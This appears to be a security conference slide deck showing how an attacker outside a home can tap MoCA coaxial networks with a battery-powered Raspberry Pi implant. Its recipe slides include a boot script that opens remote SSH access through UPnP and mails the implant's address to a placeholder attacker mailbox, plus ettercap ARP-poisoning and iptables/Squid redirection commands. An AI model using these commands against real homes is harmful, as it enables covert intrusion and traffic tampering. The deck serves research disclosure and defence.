Raspberry MoCA

A recipe for compromise

Andrew Hunt
George Mason University
ahunt5@gmu.edu
Media over Coaxial Alliance

• 8 – 12 large companies
• How to make use of widely deployed coaxial cabling to deliver content?
  – Shielded
  – Lots of frequency bandwidth
  – Carries signal 500 feet
• PHY/MAC specification
• Creates a network of the coaxial bus
• Delivers guaranteed bandwidths at certain distances
What does MoCA look like?
MoCA Operation: PHY

• PHY is the coaxial cable
• Frequencies & signaling
  – Orthogonal Frequency Division Multiplexing
  – WAN and LAN channel sets
MoCA Operation: MAC

- Media Access Control
  - Scheduled frames
  - Master node controller
  - Time Division Multiple Access
  - Assured speeds

<table>
<thead>
<tr>
<th>PHY Rate (Mbps)</th>
<th>Minimum MAC Rate (Mbps)</th>
</tr>
</thead>
<tbody>
<tr>
<td>≥275</td>
<td>139.87</td>
</tr>
<tr>
<td>250</td>
<td>130.78</td>
</tr>
<tr>
<td>225</td>
<td>119.45</td>
</tr>
<tr>
<td>200</td>
<td>107.74</td>
</tr>
<tr>
<td>175</td>
<td>95.64</td>
</tr>
<tr>
<td>150</td>
<td>81.98</td>
</tr>
<tr>
<td>125</td>
<td>68.32</td>
</tr>
<tr>
<td>100</td>
<td>54.65</td>
</tr>
<tr>
<td>75</td>
<td>39.82</td>
</tr>
</tbody>
</table>
MoCA, definitely caffeinated

- Enables ‘triple play’
- Desired by ISPs
- HDTV requirements
- Guaranteed speeds
More prevalent than Starbucks

• Most consumers don’t even know they have it
• North American and European service providers already deploy it
• In other words, just about every broadband installation
  – FIOS
  – Cable/Xfinity
  – Dish/Satellite
  – DVR
  – STB
The Wall Wart

- Optical cable run from the neighborhood splitter to the home
- Optical Network Terminator (ONT) installed on the exterior of the home
  - Bridges the fiber to coaxial or CAT5 cable
  - ISP prefers coaxial $\rightarrow$ MoCA
MoCA Inside

• Actiontec Router
  – SPI firewall
  – NAT router
    • LAN - WAN
  – 2 MoCA nodes (NC)
  – MoCA-to-Ethernet bridge

• Digital Video Recorder
  – MoCA networking on board
  – Depends on Actiontec router
    • Time sync
    • TV channel data
Let’s draw that out a little more
No Keys Required

Diagram:
- DVR
- STB
- House Exterior Wall
- 2GHz 3-way Coaxial Splitter
- Coaxial Cable
- Fiber Optic Cable
- MoCA Networks
- Ground
- "Home Net" Bridge:
  - MoCA LAN
  - Ethernet LAN
  - Wireless LAN

Legend:
- Red: Promulgation of WAN network
- Green: Promulgation of LAN networks

Attack Point: ATTACK HERE
OH SNAP!

TAKE IT ALL

ATTACK HERE

Ground

- Promulgation of WAN network
- Promulgation of LAN networks
Remember, MoCA looks like this?
DOUBLE SNAP! IT’S OUTSIDE!

ATTACK HERE
Walk up and jack in

- Utility point-of-presence
- ONT + root coax splitter + power = SCORE!
- Many homes have low plants growing around to obscure the equipment
  - That will provide useful cover for the attacking equipment
Tools of the Trade

- MoCA-to-Ethernet bridge
- RG-6 Coaxial Cable
- >1GHz Coaxial Splitter
Burning Bridges

- Connect the attack device to the bridge’s Ethernet interface
- Actiontec LAN does not engage link protection
  - Any device can connect
What just happened here?

- A MoCA device has been added to the coaxial bus
- Remember, both MoCA WAN and LAN run on the same physical bus
- The bus terminates outside the home
- By attaching to the MoCA LAN, the internal Ethernet LAN has been extended outside the home
Situation normal
SNAFU

Diagram showing network components and connections, including MoCA LAN Network, Ethernet LAN Network, DVR, MoCA bridge, Coaxial cable, Fiber Optic Cable, and Attacker Device. The diagram illustrates redirected gateway traffic and attacker-forwarded gateway traffic.
What could possibly go wrong?

• Enables attacks defeated by a firewall
• Network redirection
  – Address resolution protocol poisoning
  – DHCP response spoofs
  – DNS hijacking
• Traffic profiling
  – Deep packet inspection
  – What do you do at home that you wouldn’t do at work?
• What’s old is new again! Hello 2001!
Ethernet attacks, so retro!

- Enables direct attack against the local Ethernet network
- Many attacker tools and frameworks have been developed to automate infiltration
  - Ettercap
  - dnsniff
  - Metasploit
  - BeEF
  - EvilGrade
  - Karmetasploit
This tattoo will protect me from harm!

- MoCA filters
- Block signal in the MoCA ranges
- Marketed as a security layer to protect against unwanted MoCA signals
- Typically located on the feed to the splitter
  - Almost always exposed
- Designed to prevent signal bleed between houses
  - NOT between the interior and exterior walls.
Building a disposable attack unit

• This is a problem that needs more attention
• Create a platform to automate the compromise of a MoCA network
• Illustrate that the compromise of most target domiciles is as simple as walking up to them
Requirements

• Drop-in physical toolkit
  – Physical insertion
  – Power
  – Computing device

• Remote access to toolkit
  – Reverse tunnel, requires a server
  – Port forwarding?

• Traffic redirection

• Content manipulation
Design Objectives

• **DO NO HARM**
  – This is a demo for educational purposes
  – Random useless site redirection is obvious, nondestructive

• **Use standard tools**
  – Less profiling
  – Updatable
  – Disposable

• **Minimize power consumption**
  – Enable attacker to walk away and preserve cover
  – Unit must last as long as possible

• **Control costs**
Ingredients

• Cellphone Recharging Battery
  – Gorilla 16,800 mAh
  – Smaller than a paperback book
  – Can run each device on one unit (x2)
  – ~14 hours uptime for a 3VA device, like an ARM

• Raspberry Pi
  – Model B – 512 MB RAM
  – ARM11 processor
  – Minimal power consumption
  – Requires 8GB class 10 SD Card for storage (OS)
  – Cheap
Ingredients

• Kali Linux
  – Standard penetration testing distribution
  – Has necessary tools – Ettercap, perl, python
  – Extendable via Debian repositories
    • squid, apache, miniupnp
  – Available images for ARM, including Raspberry Pi
  – FREE

• Universal Plug-n-play IGD protocol
  – Actiontec firewall/router

• MoCA-to-Ethernet bridge
  – Netgear MCAB1001
Mod to MCAB1001 for better hang-time
Snip snip…
Like a good doctor, solder is there
Winner: Direct Current

- UPS lost a lot to DC/AC/DC conversion
  - 6.5 hours hang-time
  - BEEP!! LOOK AT ME!!
  - Managed shutdowns
- Portable battery DC/DC
  - No loss in conversion
  - Less hardware, smaller footprint
  - Size of a small paperback
  - One for each device (load)
Raspberry MoCA assembled
Universal Plug-n-Play

- uPnP enables service discovery on broadcast domains
- UDP port 1900
- No authentication
- No routing required, everything just blabs
  - iPhone
  - Computer
  - Printer
  - TVs - DLNA
  - Router
Internet Gateway Device

• uPnP protocol to ease manipulation of firewall rules
  • Allows the firewall to adjust posture based on the requests of internal hosts
    – No authentication
    – Forwards requested ports and sets up NAT
• Most embedded routers support IGD
• Supported by Microsoft, DLNA, ISPs

How helpful!
Redirect Hijinks

• Transparent proxy needed to manipulate web streams
  – Squid provides URL_REWRITE facility to support 3rd party tools
  – Perl does the work

• I Love My Neighbors
  – Josh Wright’s wireless honeypot distribution
  – Accomplishes my goals (flipping pics, funny things)
  – Perl scripts for URL_REWRITE

• Some BASH scripting to get it all set up
Recipe for Raspberry MoCA: Phase 1

- Insertion and remote access
- Upon boot, execute a uPNP command to forward an external port to local SSH server
  - {External IP}:22/tcp -> {Raspberry MoCA IP}:22/tcp
- Report information to attacker

```bash
#!/bin/sh -e
# rc.local
sleep 120;
upnpc -a `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \
| awk -FV '{print $1}" 22 22 tcp | tee /tmp/report \n| mailx -s `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \n| awk -FV '{print $1}".report surreptitiously.delicious@foo.bar
exit 0
```
Recipe: Phase 2

• Engage HTTP manipulation
• ARP poison the LAN
  echo -n , Redirecting traffic
  ettercap -D -l /root/etter.infos -m /root/etter.msgs -M arp // //
• Redirect web streams to local proxy
  echo -n , Redirecting ports
  iptables --flush
  iptables --table nat --flush
  iptables --delete-chain
  iptables --table nat -A PREROUTING -i eth0 -p tcp \
    --destination-port 80 -j REDIRECT --to-port 3128
• Manipulate the web stream
  rm /etc/squid3/url_rewrite_program
  ln -s $SDIR/$1 /etc/squid3/url_rewrite_program
  service squid3 restart >/dev/null
DEMO

- WATCH THIS!

famous last words....
Results

• ARM11 is single core and it shows
  – A little pokey for manipulating large images
  – Reduced apache and squid to 5 threads
  – Lowers CPU interrupt contention
  – Only use redirects or injections. Image processing is S..L..O..W..

• Traffic redirection
  – Network with six normal devices on it
  – Phones, DVR, computers
  – All redirected with no noticeable performance issues
    • Simple replacement of the word ‘dog’ with ‘cat’
  – MoCA works well for this
Results

- Compared to attack injections
  - Images are huge payloads. Injections are small.
  - Static payload insertion does not require heavy processing

- Raspberry MoCA Platform provides
  - Guaranteed remote access for a defined time
  - Quick delivery and insertion. Minimizes exposure
  - Low cost platform. <$300 is disposable
  - Commodity components. Minimizes profitable artifacts
  - Low-latency traffic redirection and manipulation
    - Find a resource and implant a more permanent backdoor
Security needs YOU!

- MoCA implementation presents a major exposure of the physical transport layer
  - All other assumptions about inside vs. outside are weakened
- IGD weakens firewall protections
- Bridging all networks together presents new vulnerabilities
- Requires reassessment and attention from cable installers and Internet providers

- Consumers should demand this!
Ongoing work

- Detect MoCA injections
- Alert on network insertion
  - Offer something more than ArpWatch?
- SLIM and Counter-Pi
  - in collaboration with Stephan Browarny
Questions?

Andrew Hunt
George Mason University
ahunt5@gmu.edu
Backup

• Because sometimes things don’t go as planned...
Man’s Best Friend

Since that time, C. domesticus and all taxa referring to domestic dogs or subspecies of dog listed by Linnaeus, Johann Friedrich Gmelin in 1792, and Christian Smith in 1839, lost their subspecies status and have been listed as taxonomic synonyms for Canis lupus familiaris. [27]

History and evolution

Main article: Origin of the domestic dog and Gray wolf

Domestic dogs inherited complex behaviors from their wolf ancestors, which would have been pack hunters with complex body language. These sophisticated forms of social cognition and communication may account for their tractability, playfulness, and ability to fit into human households and social situations, and these attributes have given dogs a relationship with humans that has enabled them to become one of the most successful species on the planet today. [28]

Although experts largely disagree over the details of dog domestication, it is agreed that human interaction played a significant role in shaping the subspecies. [29] Domestication may have occurred initially in separate areas, particularly Siberia and Europe. Currently it is thought domestication of our current lineage of dog occurred sometime as early as 15,000 years ago and arguably as late as 8,000 years ago. Shortly after the latest domestication, dogs became ubiquitous in human populations, and spread throughout the world.

Emigrants from Siberia likely crossed the Bering Strait with dogs in their company, and some experts [30] suggest the use of freed dogs may have been critical to the success of the waves that entered North America roughly 12,000 years ago. [31] Although the earliest archaeological evidence of dogs-like canids in North America dates from about 9,000 years ago, [31] Dogs were an important part of life for the Alaskan population in North America, and were their only domesticated animal. Dogs also carried much of the load in the migration of the Apache and Navajo tribes 1,400 years ago. Use of dogs as pack animals in these cultures often persisted after the introduction of the horse to North America. [32]

The current consensus among biologists and archaeologists is that the dating of first domestication is indeterminate, [30] [32] although more recent evidence shows isolated domestication events as early as 33,900 years ago. [33] There is conclusive evidence the present lineage of dogs genetically diverged from their wolf ancestors at least 15,000 years ago, [34] [35] but some believe domestication to have occurred earlier. [36] Evidence is accruing that there were previous domestication events, but that those lineages died out. [36]

It is not known whether humans domesticated the wolf as such to initiate dogs’ divergence from its ancestor, or whether the dog’s evolutionary path had already taken a different course prior to domestication. For example, it is hypothesized that some wolves gathered around the campsites of paleolithic camps to scavenge refuse, and associated evolutionary pressure developed that favored those who were less frightened by, and keener in approaching, humans.

The bulk of the scientific evidence for the evolution of the domestic dog stems from morphological studies of archaeological findings and mitochondrial DNA studies. The divergence date of roughly 15,000 years ago is based on evidence that demonstrates the domestication of dogs occurred more than 15,000 years ago, [37] [38] and some genetic evidence indicates the domestication of dogs from their wolf ancestors began in the late upper paleolithic and close to the Pleistocene/Holocene boundary, between 17,000 and 14,000 years ago. [41] But there is a wide range of other, contradictory findings that make this issue controversial. [citation needed]

There are findings beginning currently at 33,000 years ago distinctly placing them as domesticated dogs evidenced not only by shortening of the muzzle but widening as well as crowding of teeth. Archaeological evidence suggests that the latest point at which dogs could have diverged from wolves was roughly 16,000 years ago, although it is possible they diverged much earlier. [35] In 2003, a team of international scientists released findings from an excavation at Goyet Cave in Belgium declaring a large, toothy canine existed 31,700 years ago and ate a diet of horse, mammoth and reindeer. [42] Prior to this Belgian discovery, the earliest dog bones found were two large skulls from Russia and a mandible from Germany dated from roughly 14,000 years ago. [35] [43] Remains of smaller dogs from Natufian cave deposits in the Middle East, including the earliest
The World Upside-Down
Watch Out, Plane!
Prove it!